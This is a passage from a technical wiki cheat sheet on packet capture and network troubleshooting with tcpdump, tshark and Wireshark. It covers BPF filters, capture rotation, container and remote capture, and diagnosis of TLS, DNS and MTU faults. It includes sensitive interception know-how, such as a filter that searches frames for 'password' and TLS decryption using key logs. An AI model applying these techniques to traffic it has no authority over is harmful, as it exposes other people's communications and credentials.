`nsenter -t "$(podman inspect -f '{{.State.Pid}}' my-app)" -n tcpdump -ni eth0` | | Count packets per conversation | `tshark -r capture.pcap -q -z conv,tcp` | | Fields as CSV | `tshark -r capture.pcap -T fields -e ip.src -e ip.dst -e tcp.dstport -E separator=,` | | Summary of a capture | `capinfos capture.pcap` | | Slice a big capture by time | `editcap -A '2026-09-24 14:00:00' -B '2026-09-24 14:05:00' big.pcap slice.pcap` | | Merge captures | `mergecap -w all.pcap a.pcap b.pcap` | Commands assume tcpdump 4.99 with libpcap 1.10 and Wireshark 4.4 (`tshark`, `capinfos`, `editcap`, `mergecap` come from the `wireshark-cli` package on Fedora and RHEL). Capturing needs root or `CAP_NET_RAW` and `CAP_NET_ADMIN`. References: the [tcpdump man page](https://www.tcpdump.org/manpages/tcpdump.1.html), [pcap-filter(7)](https://www.tcpdump.org/manpages/pcap-filter.7.html) and the [Wireshark User's Guide](https://www.wireshark.org/docs/wsug_html_chunked/). ## How capture works libpcap opens a raw socket (`AF_PACKET` on Linux) on an interface and receives a copy of every frame the kernel sends or receives there, after the receive path's checksum and offload handling and before or after the firewall depending on direction. A capture filter is compiled to a BPF program and attached to the socket, so packets that fail it are dropped in the kernel and never copied to user space. That is why a tight capture filter is the difference between a usable capture and a dropped-packet count in the thousands. Three consequences. Outgoing packets are captured before segmentation offload, so a "packet" in the capture may be 64 KiB when the wire carried forty 1500-byte frames; disable with `ethtool -K eth0 tso off gso off gro off` when sizes matter. Outgoing checksums appear wrong when checksum offload is on, because the NIC fills them in later; Wireshark flags them unless checksum validation is turned off. Traffic that never reaches this host's stack (switched traffic between two other hosts, or VM to VM on a bridge you are not on) does not appear; capture on the bridge, a mirror port, or inside the right namespace. ```sh tcpdump -D # interfaces: eth0, any, lo, docker0, virbr0, plus nflog and usbmon pseudo-devices tcpdump -i any -n # every interface; Linux cooked capture, no Ethernet headers tcpdump -i eth0 -n -c 20 # 20 packets then stop tcpdump -i eth0 -n -q # quiet: one short line per packet tcpdump -i eth0 -n -v; tcpdump -i eth0 -n -vvv # more protocol detail: TTL, ID, checksums, DNS records tcpdump -i eth0 -n -e # link-layer headers: MAC addresses and VLAN tags tcpdump -i eth0 -n -s 0 # snaplen: full packets; 262144 is the default since 4.0 so -s0 is habit, but -s 96 saves space when headers are all you need tcpdump -i eth0 -n -p # no promiscuous mode: only frames addressed to this host tcpdump -i eth0 -n -Q in # direction: in, out or inout (Linux) tcpdump -i eth0 -n --immediate-mode # deliver each packet as it arrives instead of buffering tcpdump -i eth0 -n -U -w - | tee capture.pcap | tcpdump -nr - # -U: flush per packet when writing tcpdump -i eth0 -n -B 65536 # 64 MiB kernel buffer, for busy links ``` `-n` stops reverse DNS lookups, which are slow and generate traffic that lands in the capture. `-nn` also leaves port numbers numeric. Use them always. ## BPF capture filter syntax The filter language is documented in `pcap-filter(7)`. A filter is a boolean expression of primitives joined with `and`, `or`, `not` and parentheses. Quote the whole thing in single quotes so the shell leaves the parentheses and brackets alone. Primitives are a type (`host`, `net`, `port`, `portrange`), a direction (`src`, `dst`, `src or dst`, `src and dst`) and a protocol (`ether`, `ip`, `ip6`, `arp`, `tcp`, `udp`, `icmp`, `icmp6`). Missing parts default: `host` means `src or dst host`, `port` means `tcp or udp port`. ```sh tcpdump -ni eth0 host 192.0.2.10 # to or from tcpdump -ni eth0 src host 192.0.2.10 # from only tcpdump -ni eth0 dst 192.0.2.10 # "host" may be omitted for an address tcpdump -ni eth0 host www.example.com # resolved once at start; multi-address names match all tcpdump -ni eth0 net 192.0.2.0/24 # CIDR tcpdump -ni eth0 net 192.0.2.0 mask 255.255.255.0 tcpdump -ni eth0 src net 10.0.0.0/8 and dst net not 10.0.0.0/8 # leaving the private range tcpdump -ni eth0 port 443 # tcp or udp, src or dst tcpdump -ni eth0 tcp dst port 443 tcpdump -ni eth0 portrange 8000-8999 tcpdump -ni eth0 udp # protocol only tcpdump -ni eth0 icmp or icmp6 tcpdump -ni eth0 arp tcpdump -ni eth0 ip6 # IPv6 only tcpdump -ni eth0 ip proto 47 # GRE by number; also: ip proto ospf, vrrp tcpdump -ni eth0 ether host aa:bb:cc:dd:ee:ff # MAC tcpdump -ni eth0 ether broadcast or ether multicast tcpdump -ni eth0 vlan 100 # tagged with VLAN 100; primitives after "vlan" apply to the inner packet tcpdump -ni eth0 'vlan and ip' # any tagged IPv4 tcpdump -ni eth0 less 64; tcpdump -ni eth0 greater 1400 # length tcpdump -ni eth0 'host 192.0.2.10 and (port 80 or port 443)' tcpdump -ni eth0 'host 192.0.2.10 and not port 22' tcpdump -ni eth0 'not (port 22 or port 53 or arp)' # the usual noise filter tcpdump -ni eth0 'tcp and not host 192.0.2.1' tcpdump -ni eth0 'src 192.0.2.10 and dst port 5432' ``` `inbound` and `outbound` are also primitives on Linux. Where a name and a keyword clash (`host gateway`), quote the name or use an address. ### Header byte matching `proto[offset:size]` reads bytes from a protocol header, which is how to match TCP flags, ICMP types, DNS opcodes or payload bytes. Named constants exist for TCP flags (`tcp-syn`, `tcp-ack`, `tcp-fin`, `tcp-rst`, `tcp-push`, `tcp-urg`) and ICMP types (`icmp-echo`, `icmp-echoreply`, `icmp-unreach`, `icmp-timxceed`). ```sh tcpdump -ni eth0 'tcp[tcpflags] & tcp-syn != 0' # any SYN (including SYN-ACK) tcpdump -ni eth0 'tcp[tcpflags] & (tcp-syn|tcp-ack) == tcp-syn' # SYN without ACK: new connection attempts tcpdump -ni eth0 'tcp[tcpflags] & (tcp-syn|tcp-ack) == (tcp-syn|tcp-ack)' # SYN-ACK: servers answering tcpdump -ni eth0 'tcp[tcpflags] & tcp-rst != 0' # resets: refused connections, aborted sessions tcpdump -ni eth0 'tcp[tcpflags] & tcp-fin != 0' # closes tcpdump -ni eth0 'tcp[tcpflags] == tcp-syn' # exactly SYN, no other flag tcpdump -ni eth0 'tcp[13] & 2 != 0' # same as tcp-syn, by byte offset (13) and bit (2) tcpdump -ni eth0 'icmp[icmptype] == icmp-echo or icmp[icmptype] == icmp-echoreply' # ping only tcpdump -ni eth0 'icmp[icmptype] == icmp-unreach' # destination unreachable, including fragmentation needed tcpdump -ni eth0 'icmp[0] == 3 and icmp[1] == 4' # fragmentation needed and DF set (PMTUD) tcpdump -ni eth0 'icmp[icmptype] == icmp-timxceed' # traceroute responses tcpdump -ni eth0 'ip[6] & 0x40 != 0' # DF bit set tcpdump -ni eth0 'ip[6:2] & 0x1fff != 0' # fragments other than the first tcpdump -ni eth0 'ip[8] < 5' # TTL under 5: traceroute probes or loops tcpdump -ni eth0 'ip[2:2] > 1400' # IPv4 total length over 1400 tcpdump -ni eth0 'udp[8] & 0x80 == 0 and port 53' # DNS queries only (QR bit clear) tcpdump -ni eth0 'udp[8] & 0x80 != 0 and udp[11] & 0x0f == 3 and port 53' # DNS responses with NXDOMAIN (rcode 3) tcpdump -ni eth0 'tcp port 80 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420)' # payload starts with "GET " tcpdump -ni eth0 'tcp port 80 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354)' # "POST" tcpdump -ni eth0 'tcp port 443 and (tcp[((tcp[12:1] & 0xf0) >> 2)] = 0x16) and (tcp[((tcp[12:1] & 0xf0) >> 2)+5] = 0x01)' # TLS ClientHello tcpdump -ni eth0 'tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x48545450' # "HTTP": responses tcpdump -ni eth0 'ether[0] & 1 = 0 and ip[16] >= 224' # unicast frame carrying a multicast destination ``` `tcp[12:1] & 0xf0) >> 2` computes the TCP header length in bytes (data offset in the top nibble of byte 12, times 4), so `tcp[that:4]` is the first four payload bytes. The `tcp[...]` and `udp[...]` forms only work on IPv4; for IPv6 the transport header offset is not fixed, and libpcap 1.10 rejects them with `ip6 upper-layer protocol is not supported`. Capture `ip6 and tcp` and filter in Wireshark. ## Reading the output A TCP line, with `-n` and `-tttt`: ```text 2026-09-24 14:03:12.481923 IP 192.0.2.10.51234 > 198.51.100.5.443: Flags [S], seq 3812345678, win 64240, options [mss 1460,sackOK,TS val 1 ecr 0,nop,wscale 7], length 0 2026-09-24 14:03:12.503117 IP 198.51.100.5.443 > 192.0.2.10.51234: Flags [S.], seq 987654321, ack 3812345679, win 65160, options [mss 1460,sackOK,TS val 2 ecr 1,nop,wscale 7], length 0 2026-09-24 14:03:12.503150 IP 192.0.2.10.51234 > 198.51.100.5.443: Flags [.], ack 1, win 502, options [nop,nop,TS val 3 ecr 2], length 0 2026-09-24 14:03:12.503900 IP 192.0.2.10.51234 > 198.51.100.5.443: Flags [P.], seq 1:518, ack 1, win 502, length 517 ``` Flags: `S` SYN, `.` ACK, `F` FIN, `R` RST, `P` PSH, `U` URG, `W` CWR, `E` ECE. `[S.]` is SYN-ACK. After the handshake tcpdump prints sequence numbers relative to the first (`seq 1:518` is bytes 1 to 517 of this direction) unless `-S` asks for absolute ones. `win` is the advertised receive window before scaling; multiply by 2^wscale from the SYN. `length` is payload bytes. `mss 1460` on both SYNs is a normal Ethernet path; a smaller value shows a tunnel or PPPoE somewhere. A SYN answered by `[R.]` is a closed port; a SYN answered by nothing and retransmitted after 1, 2, 4 seconds is a filtered port or a routing problem. UDP, DNS and ICMP with `-v`: ```text 14:03:12.600000 IP 192.0.2.10.40000 > 192.0.2.53.53: 12345+ A? www.example.com. (33) 14:03:12.612000 IP 192.0.2.53.53 > 192.0.2.10.40000: 12345 2/0/0 A 93.184.216.34, A 93.184.216.35 (65) 14:03:13.000000 IP 192.0.2.53.53 > 192.0.2.10.40001: 12346 NXDomain 0/1/0 (110) 14:03:13.100000 IP 192.0.2.53.53 > 192.0.2.10.40002: 12347 ServFail 0/0/0 (33) 14:03:14.000000 IP 192.0.2.10 > 198.51.100.5: ICMP echo request, id 100, seq 1, length 64 14:03:14.020000 IP 198.51.100.5 > 192.0.2.10: ICMP echo reply, id 100, seq 1, length 64 14:03:15.000000 IP 192.0.2.1 > 192.0.2.10: ICMP 198.51.100.5 unreachable - need to frag (mtu 1400), length 36 14:03:16.000000 IP 192.0.2.1 > 192.0.2.10: ICMP 198.51.100.5 tcp port 8443 unreachable, length 36 ``` In DNS lines `12345+` is the query ID with `+` for recursion desired, `A?` the question, and `2/0/0` the counts of answer, authority and additional records. `-vv` prints the TTLs. `NXDomain`, `ServFail` and `Refused` name the rcode. A query with no answer within a couple of seconds followed by the same ID from a new source port is the resolver retrying; see [DNS](https://www.wiki.jodisand.me/dns/#a-name-that-will-not-resolve). Timestamps: default is time of day; `-tttt` adds the date; `-ttt` prints the delta from the previous packet; `-tt` prints epoch seconds; `-t` drops them. `--time-stamp-precision=nano` on capable NICs. Payload: `-A` prints it as ASCII, `-X` as hex and ASCII, `-x` hex only; `-XX` and `-AA` include the link header. At exit tcpdump prints `N packets captured, N packets received by filter, N packets dropped by kernel`. A non-zero dropped count means the buffer overflowed: tighten the filter, raise `-B`, write to a file instead of the terminal, or reduce `-s`. ## Writing and rotating captures Write raw packets with `-w` and read them back with `-r`. Files are pcap by default; Wireshark reads them directly. tcpdump prints nothing while writing unless you add `-v` (a packet count) or read the file through a pipe. ```sh tcpdump -ni eth0 -s0 -w capture.pcap 'host 192.0.2.10 and port 443' # until Ctrl-C tcpdump -ni eth0 -s0 -w capture.pcap -c 10000 port 5432 # stop at 10000 packets tcpdump -ni eth0 -s0 -w capture.pcap -G 300 -W 1 port 53 # stop after 300 seconds tcpdump -ni eth0 -s0 -w 'cap-%Y%m%d-%H%M%S.pcap' -G 3600 # new file every hour, strftime name tcpdump -ni eth0 -s0 -w cap.pcap -C 100 -W 10 # 100 MB files, cap.pcap0..9, oldest overwritten: a ring buffer tcpdump -ni eth0 -s0 -w 'cap-%H%M.pcap' -G 600 -W 6 -z gzip # 10-minute files, 6 kept, compressed after rotation tcpdump -ni eth0 -s0 -w cap.pcap -Z tcpdump # drop privileges to this user after opening the socket (default on Fedora) tcpdump -ni eth0 -s 128 -w headers.pcap # headers only: small files, no payload tcpdump -nr capture.pcap # read tcpdump -nr capture.pcap -tttt 'tcp[tcpflags] & tcp-rst != 0' # filter while reading; same syntax tcpdump -nr capture.pcap -w subset.pcap 'host 192.0.2.10' # extract a subset tcpdump -nr capture.pcap -c 1 -tttt; tcpdump -nr capture.pcap -tttt | tail -1 # first and last timestamps ``` `-C` counts in millions of bytes and appends a number to the name; `-G` rotates on time and needs strftime escapes in the name (otherwise it overwrites); `-W` with `-C` is a ring, with `-G` it is a total file limit. `-z cmd` runs `cmd file` after each rotation. When `-Z` drops privileges the output directory must be writable by that user; `Permission denied` on `-w` with a root shell is the usual sign. The systemd unit approach for long captures is a `Type=simple` service running tcpdump with `-C`/`-W`, so a night-long intermittent fault is captured without filling the disk; see [systemd](https://www.wiki.jodisand.me/systemd/#writing-a-unit). ## Capturing in containers, VMs and remotely A container has its own network namespace and usually no tcpdump. Capture from the host inside the container's namespace, or on the host-side veth or bridge. ```sh pid=$(podman inspect -f '{{.State.Pid}}' my-app) # docker inspect works the same nsenter -t "$pid" -n tcpdump -ni eth0 -s0 -w /var/tmp/my-app.pcap port 8080 # host's tcpdump, container's namespace; file lands on the host nsenter -t "$pid" -n ip -br addr # interfaces as the container sees them tcpdump -ni podman0 host 10.88.0.5 # or on the bridge, by container IP tcpdump -ni "$(ip -o link | awk -F': ' '/veth/ {print $2; exit}')" # a specific veth on the host ip netns exec my-ns tcpdump -ni eth0 # a named namespace (ip netns add) podman run --rm -it --net container:my-app --cap-add NET_RAW --cap-add NET_ADMIN docker.io/nicolaka/netshoot tcpdump -ni eth0 # a sidecar sharing the namespace ``` Rootless Podman uses pasta or slirp4netns; the container's `eth0` is a user-mode device and the traffic reaches the host as normal traffic from the host's own IP, so capture on the host interface by port. For Kubernetes, `kubectl debug -it my-pod --image=nicolaka/netshoot --target=app` gives a shell in the pod's namespaces; on the node, the same `nsenter` approach works with the PID from `crictl inspect`. See [Kubernetes](https://www.wiki.jodisand.me/kubernetes/#start-with-a-failing-workload). VMs on libvirt or Proxmox: capture on the tap or bridge on the host (`tcpdump -ni vnet3`, `tcpdump -ni vmbr0 host 192.0.2.30`). Traffic between two VMs on the same bridge is seen on the bridge interface only if it is not offloaded to the bridge's forwarding path; the tap devices always see it. Remote capture over SSH, streaming into local Wireshark. `-U` flushes each packet, `-w -` writes to stdout, and the filter excludes the SSH session itself so the stream does not feed back. ```sh ssh app.example.com 'sudo tcpdump -ni eth0 -s0 -U -w - not port 22' | wireshark -k -i - ssh app.example.com 'sudo tcpdump -ni eth0 -s0 -U -w - not port 22' > remote.pcap # to a file instead ssh app.example.com 'sudo tcpdump -ni eth0 -s0 -U -w - not port 22' | tshark -r - -Y 'tcp.analysis.retransmission' ssh -J bastion.example.com db.example.com 'sudo tcpdump -ni eth0 -s0 -U -w - port 5432' | wireshark -k -i - # through a jump host ``` Wireshark also has `sshdump` (an extcap interface under Capture > Options) that does the same with a GUI form, and `ciscodump` for IOS. `sudo` must not prompt for a password on the remote side, or the prompt lands in the pcap stream; use `NOPASSWD` for `tcpdump` only, or a `tcpdump` binary with `CAP_NET_RAW`. ## tshark `tshark` is Wireshark without the GUI: the same dissectors, the same display filters (`-Y`), plus field extraction and statistics that make it scriptable. Capture filters use `-f` and the BPF syntax; display filters use `-Y` and the Wireshark syntax, and can be applied while capturing or reading. ```sh tshark -i eth0 -f 'port 443' -c 100 # capture with a BPF filter tshark -r capture.pcap # one summary line per packet tshark -r capture.pcap -Y 'dns.flags.rcode != 0' # display filter on a file tshark -r capture.pcap -Y 'tcp.analysis.retransmission' | wc -l # count retransmissions tshark -r capture.pcap -V -Y 'frame.number == 42' # full dissection of one packet tshark -r capture.pcap -T fields -e frame.time -e ip.src -e ip.dst -e tcp.dstport -e tcp.len -E header=y -E separator=, -E quote=d # CSV tshark -r capture.pcap -T fields -e dns.qry.name -Y 'dns.flags.response == 0' | sort | uniq -c | sort -rn | head # most queried names tshark -r capture.pcap -T fields -e tls.handshake.extensions_server_name -Y 'tls.handshake.type == 1' | sort | uniq -c | sort -rn # SNI per ClientHello tshark -r capture.pcap -T fields -e http.host -e http.request.uri -Y http.request tshark -r capture.pcap -T json -Y 'frame.number == 1' | jq '.[0]._source.layers.tcp' # JSON per packet tshark -r capture.pcap -T ek > packets.ndjson # Elasticsearch bulk format tshark -r capture.pcap -q -z conv,tcp # conversations: bytes and packets each way, duration tshark -r capture.pcap -q -z conv,ip tshark -r capture.pcap -q -z endpoints,ip # per-host totals tshark -r capture.pcap -q -z io,phs # protocol hierarchy tshark -r capture.pcap -q -z io,stat,10 # packets and bytes per 10-second interval tshark -r capture.pcap -q -z 'io,stat,1,tcp.analysis.retransmission' # retransmissions per second tshark -r capture.pcap -q -z dns,tree # DNS query types, rcodes, response times tshark -r capture.pcap -q -z http,tree; tshark -r capture.pcap -q -z http_req,tree tshark -r capture.pcap -q -z expert # every expert-info note, warning and error tshark -r capture.pcap -q -z follow,tcp,ascii,0 # follow TCP stream 0 as text tshark -r capture.pcap -q -z follow,tcp,ascii,192.0.2.10:51234,198.51.100.5:443 tshark -r capture.pcap -T fields -e tcp.stream -e tcp.analysis.ack_rtt -Y 'tcp.analysis.ack_rtt' | awk '{s[$1] += $2; n[$1]++} END {for (k in s) printf "stream %s mean rtt %.1f ms\n", k, 1000 * s[k] / n[k]}' tshark -r capture.pcap -d tcp.port==8443,tls # decode a non-standard port as TLS tshark -r capture.pcap -o 'tls.keylog_file:/var/tmp/sslkeys.log' -Y http2 # decrypt TLS with a key log (see below) tshark -r capture.pcap -w subset.pcap -Y 'tcp.stream == 7' # write the packets matching a display filter tshark -G fields | grep -i '^F.*tls.handshake' | cut -f3 | head # list field names tshark -r capture.pcap -n # -n: no name resolution (also -N for selective) ``` Statistics (`-z`) need `-q` to suppress the per-packet lines. `-E occurrence=f` takes the first value when a field repeats; `-E aggregator=,` joins them. `-2` performs a second pass, needed for filters that depend on later packets (`tcp.analysis.*` on reassembly, `http.response_for.uri`). `capinfos`, `editcap` and `mergecap` handle files: ```sh capinfos capture.pcap # size, packet count, duration, start and end, average rate capinfos -a -e -c capture.pcap # just start, end and count editcap -c 100000 big.pcap part.pcap # split into files of 100000 packets editcap -i 60 big.pcap minute.pcap # split every 60 seconds editcap -A '2026-09-24 14:00:00' -B '2026-09-24 14:05:00' big.pcap window.pcap editcap -s 128 big.pcap headers.pcap # truncate payloads (anonymises content, keeps headers) editcap -d capture.pcap dedup.pcap # remove duplicates (mirror ports) editcap -F pcap capture.pcapng capture.pcap # convert format mergecap -w merged.pcap client.pcap server.pcap # by timestamp ``` ## Wireshark Wireshark dissects every protocol it knows and annotates TCP with analysis flags (retransmission, duplicate ACK, zero window, out of order) that tcpdump does not compute. The workflow is: open the file, apply a display filter, find one bad packet, right-click Conversation Filter > TCP to see only that connection, then Follow > TCP Stream or the Statistics menus. Display filters are a different language from BPF: fields are `protocol.field`, comparisons are `==`, `!=`, `>`, `contains`, `matches` (regex), `in {}`, and booleans are `&&`, `||`, `!`. Field names autocomplete in the filter bar and appear in the status bar when you select a field in the packet detail pane. | Filter | Shows | | --- | --- | | `ip.addr == 192.0.2.10` | Either direction | | `ip.src == 192.0.2.10 && tcp.dstport == 443` | One direction, one port | | `ip.addr == 192.0.2.0/24 && !(tcp.port == 22)` | A subnet, minus SSH | | `tcp.port in {80 443 8443}` | Set membership | | `tcp.stream == 7` | One connection (the number is in the TCP header detail) | | `tcp.flags.syn == 1 && tcp.flags.ack == 0` | Connection attempts | | `tcp.flags.reset == 1` | Resets | | `tcp.analysis.flags` | Anything Wireshark thinks is wrong with TCP | | `tcp.analysis.retransmission` | Retransmissions (also `fast_retransmission`, `spurious_retransmission`) | | `tcp.analysis.duplicate_ack` | Receiver saying "I am missing something" | | `tcp.analysis.zero_window` | Receiver's buffer is full: an application not reading | | `tcp.analysis.window_full` | Sender has filled the receiver's window | | `tcp.analysis.out_of_order` | Reordering, often multiple paths or bonding | | `tcp.analysis.ack_rtt > 0.2` | ACKs that took over 200 ms | | `tcp.time_delta > 1` | Over a second since the previous packet in this stream (enable "Calculate conversation timestamps" in TCP preferences) | | `tcp.len > 0 && tcp.flags.push == 1` | Application data segments | | `tcp.window_size == 0` | Zero window advertisements | | `frame.len > 1514` | Larger than a standard Ethernet frame: offload or jumbo | | `ip.flags.df == 1 && ip.len > 1400` | Big DF packets, the ones that hit MTU problems | | `icmp.type == 3 && icmp.code == 4` | Fragmentation needed | | `icmp || icmpv6` | All ICMP | | `dns.flags.response == 0` | Queries | | `dns.flags.rcode != 0` | Errors: 2 SERVFAIL, 3 NXDOMAIN, 5 REFUSED | | `dns.time > 0.5` | Answers that took over 500 ms | | `dns.qry.name contains "example"` | Substring on the name | | `dns.qry.type == 28` | AAAA queries | | `dns.flags.truncated == 1` | Truncated answers forcing TCP retry | | `tls.handshake.type == 1` | ClientHello | | `tls.handshake.type == 2` | ServerHello | | `tls.handshake.extensions_server_name == "www.example.com"` | SNI | | `tls.alert_message.desc == 48` | Alert: unknown CA (40 handshake failure, 42 bad certificate, 46 certificate unknown, 70 protocol version, 112 unrecognised name) | | `tls.record.version == 0x0303 && tls.handshake.type == 2` | Server chose TLS 1.2 (TLS 1.3 also says 0x0303 here; check `supported_versions`) | | `http.request.method == "POST"` | HTTP requests | | `http.response.code >= 500` | Server errors | | `http.time > 2` | Responses over 2 seconds after the request | | `http.host matches "^api\\."` | Regex | | `http2` | HTTP/2 frames (needs decrypted TLS) | | `arp.duplicate-address-detected` | Two MACs claiming one IP | | `frame contains "password"` | Bytes anywhere in the frame | | `_ws.expert.severity >= warning` | Expert-info warnings and errors | | `!(arp || stp || lldp || mdns || ssdp || browser)` | Remove LAN chatter | Useful menus: Statistics > Conversations (sort by bytes to find the elephant), Statistics > Protocol Hierarchy, Statistics > I/O Graph (plot `tcp.analysis.retransmission` against all packets), Statistics > TCP Stream Graphs > Time Sequence (Stevens) for a picture of stalls, Analyze > Expert Information for the list of everything flagged, Analyze > Follow > TCP/UDP/TLS/HTTP Stream for the payload as text with each direction coloured, View > Time Display Format > Seconds Since Previous Displayed Packet for gap hunting. Edit > Preferences > Protocols > TCP: "Analyze TCP sequence numbers", "Relative sequence numbers", "Calculate conversation timestamps" on; "Validate the TCP checksum" off (offload makes outgoing checksums look wrong). Colouring: black background with red text is a TCP problem; dark grey is a plain TCP segment; light purple TCP, light blue UDP, light green HTTP; a black line with red is an RST or a checksum error. ## Diagnosing common faults ### Retransmissions and slow transfers Filter `tcp.analysis.retransmission || tcp.analysis.fast_retransmission`. Isolated retransmissions are normal on any WAN path; a stream with more than 1 to 2 percent has loss. Duplicate ACKs from the receiver before each retransmission point at loss on the path toward the receiver; a retransmission with no duplicate ACKs is a retransmission timeout (RTO), usually the whole tail of a burst lost, or the ACK path failing. Spurious retransmissions mean the ACK arrived late rather than data being lost: latency, or a middlebox delaying ACKs. Compare `tcp.analysis.ack_rtt` across the connection to see where latency sits. Zero window (`tcp.analysis.zero_window`) is not a network problem. The receiving application is not reading its socket fast enough: a blocked thread, a slow disk, a GC pause. `tcp.analysis.window_full` on the sender side with an otherwise healthy path says the receive buffer (`net.ipv4.tcp_rmem`, or the application's `SO_RCVBUF`) is too small for the bandwidth-delay product. Time Sequence (Stevens) graph shows both as flat plateaus. ```sh tshark -r capture.pcap -q -z 'io,stat,5,tcp.analysis.retransmission,tcp.analysis.duplicate_ack,tcp.analysis.zero_window' tshark -r capture.pcap -Y 'tcp.analysis.retransmission' -T fields -e tcp.stream | sort | uniq -c | sort -rn | head # worst streams tshark -r capture.pcap -Y 'tcp.stream == 7' -T fields -e frame.time_relative -e tcp.seq -e tcp.len -e tcp.analysis.flags # one stream, annotated ``` ### MTU and path MTU discovery Symptoms: small requests work, large responses hang; SSH connects but a big `ls` output freezes; TLS handshake stalls after ClientHello when the server certificate is large; things work over one path and not over a VPN or tunnel. The capture shows a large segment with DF set leaving, no ACK arriving, the same segment retransmitted at growing intervals, and no ICMP type 3 code 4 coming back because a firewall dropped it. When ICMP does arrive (`icmp.type == 3 && icmp.code == 4`) the sender should immediately resend with a smaller size; if it keeps sending large segments, PMTU discovery is disabled or the ICMP is not reaching the stack (nftables dropping ICMP, or a NAT that cannot map it). ```sh tcpdump -ni eth0 'icmp[icmptype] == icmp-unreach and icmp[1] == 4' # PMTUD messages arriving tcpdump -ni eth0 -v 'ip[6] & 0x40 != 0 and ip[2:2] > 1400 and tcp' # big DF packets going out; -v prints the total length ping -M do -s 1472 198.51.100.5 # 1472 + 28 = 1500; lower until it passes to find the path MTU tracepath -n 198.51.100.5 # reports pmtu along the path ip route get 198.51.100.5 # cached mtu in the route entry after PMTUD ip link set dev tun0 mtu 1400 # fix at the tunnel; or clamp MSS in nftables: tcp flags syn tcp option maxseg size set rt mtu ``` Look at the MSS in the SYNs: 1460 means both ends assume a 1500-byte path. A tunnel or PPPoE in between needs MSS clamping (`nft add rule inet filter forward tcp flags syn tcp option maxseg size set rt mtu`) so the endpoints never send more than the path carries. See [firewalld, nftables and iptables](https://www.wiki.jodisand.me/firewall/) for where that rule goes. ### TLS handshakes A TLS 1.3 handshake in the clear is `ClientHello` (type 1, carrying SNI, ALPN, supported versions, key shares), `ServerHello` (type 2), then encrypted records. TLS 1.2 also shows `Certificate`, `Server Key Exchange` and `Server Hello Done` in the clear. An alert (`tls.alert_message`) ends a failed handshake; the description says what failed on the side that sent it. | Observation | Meaning | | --- | --- | | ClientHello, then RST from the server | Server has nothing on that port speaking TLS, or SNI-based routing rejected the name | | ClientHello, then nothing, retransmitted ClientHello | Path or firewall drops it after the handshake starts (often MTU when the hello is large) | | ClientHello, then alert 40 `handshake_failure` | No common cipher suite, protocol version or curve | | ClientHello, then alert 70 `protocol_version` | Client offers only versions the server disabled (or the reverse) | | ClientHello, then alert 112 `unrecognized_name` | SNI does not match a configured virtual host | | ServerHello + Certificate, then client alert 48 `unknown_ca` | Client does not trust the chain: missing intermediate, private CA not installed | | ServerHello + Certificate, then client alert 42 `bad_certificate` or 46 `certificate_unknown` | Name mismatch, expired, or revoked according to the client | | Handshake completes, application data, then RST | Application-level failure after TLS, not a TLS problem | | `Encrypted Alert` after handshake in TLS 1.3 | Alerts are encrypted post-handshake; decrypt with a key log or read the application's logs | ```sh tshark -r capture.pcap -Y 'tls.handshake.type == 1' -T fields -e ip.src -e tls.handshake.extensions_server_name -e tls.handshake.extensions.supported_version # who asked for what tshark -r capture.pcap -Y 'tls.alert_message' -T fields -e ip.src -e ip.dst -e tls.alert_message.desc tshark -r capture.pcap -Y 'tls.handshake.type == 11' -T fields -e x509sat.printableString -e x509af.notAfter # certificates sent (TLS 1.2 only in the clear) openssl s_client -connect www.example.com:443 -servername www.example.com &1 | head -30 # compare with the live server; see the TLS page ``` Decrypting TLS in Wireshark needs the session keys, never the server's private key alone for modern (ECDHE) cipher suites. Browsers, curl, Go (`tls.Config.KeyLogWriter`), Python (`ssl.SSLContext.keylog_filename`) and many others write a key log when `SSLKEYLOGFILE=/var/tmp/sslkeys.log` is set in their environment. Point Wireshark at it under Preferences > Protocols > TLS > (Pre)-Master-Secret log filename, or `tshark -o tls.keylog_file:/var/tmp/sslkeys.log`. The file contains everything needed to read those sessions; treat it as a secret and delete it afterwards. See [TLS](https://www.wiki.jodisand.me/tls/#testing-a-server) for certificate-side checks. ### DNS problems Capture on the client with `port 53` and on the resolver if you run it. Look at the ratio of queries to responses, the rcode, and `dns.time`. | Observation | Meaning | | --- | --- | | Queries, no responses, client retries with a new ID after 5 s | Resolver unreachable or filtered; check the destination address matches `/etc/resolv.conf` or systemd-resolved's upstream | | `NXDomain` for `my-app.my-namespace.svc.cluster.local.example.com.` | Search-domain expansion; `ndots` behaviour, see [DNS](https://www.wiki.jodisand.me/dns/#search-domains-and-ndots) | | `ServFail` | Resolver could not complete recursion: upstream down, DNSSEC validation failure, or a broken zone | | `Refused` | Resolver's ACL rejects this client | | Answers with `dns.flags.truncated == 1`, then the same query over TCP | Response over 512 bytes (or the EDNS buffer); if TCP 53 is blocked the lookup fails | | AAAA query answered, A query never answered | IPv6-only breakage on the resolver path, or the reverse; clients wait for both | | `dns.time` of seconds | Resolver recursing slowly; run `dig +trace` from the resolver | | Responses from an address you did not query | A transparent DNS interceptor on the path | | Same query every few milliseconds | Application without caching or a negative-TTL of 0; fix the client or add a local cache | ```sh tcpdump -ni eth0 -vv 'port 53 and host 192.0.2.53' tshark -r capture.pcap -q -z dns,tree # per rcode, per qtype, response-time stats tshark -r capture.pcap -Y 'dns.flags.response == 1 && dns.time > 0.5' -T fields -e dns.qry.name -e dns.time -e ip.src tshark -2 -r capture.pcap -Y 'dns.flags.response == 0 && !dns.response_in' -T fields -e dns.qry.name | sort | uniq -c | sort -rn | head ``` ## Oneliners ```sh # Who is talking to this host right now, by packets per source, 10-second sample timeout 10 tcpdump -ni eth0 -q 2>/dev/null | awk '{print $3}' | cut -d. -f1-4 | sort | uniq -c | sort -rn | head # Top talkers by bytes sent, from a capture tshark -r capture.pcap -T fields -e ip.src -e frame.len | awk '{b[$1] += $2} END {for (k in b) print b[k], k}' | sort -rn | head -20 # New connection attempts per destination port on this host tcpdump -ni eth0 -q 'tcp[tcpflags] & (tcp-syn|tcp-ack) == tcp-syn' 2>/dev/null | awk '{split($5, d, "."); print d[5]}' | sort | uniq -c | sort -rn # Connections refused by this host (RST-ACK sent in reply to SYN) tcpdump -ni eth0 -Q out 'tcp[tcpflags] & (tcp-rst|tcp-ack) == (tcp-rst|tcp-ack)' # Which process owns the socket in a capture line (port from tcpdump, then ss) ss -tnp 'sport = :51234' # Confirm a packet reaches the host before blaming the firewall (see the firewall page) tcpdump -ni eth0 -c 5 'tcp dst port 8443 and tcp[tcpflags] & tcp-syn != 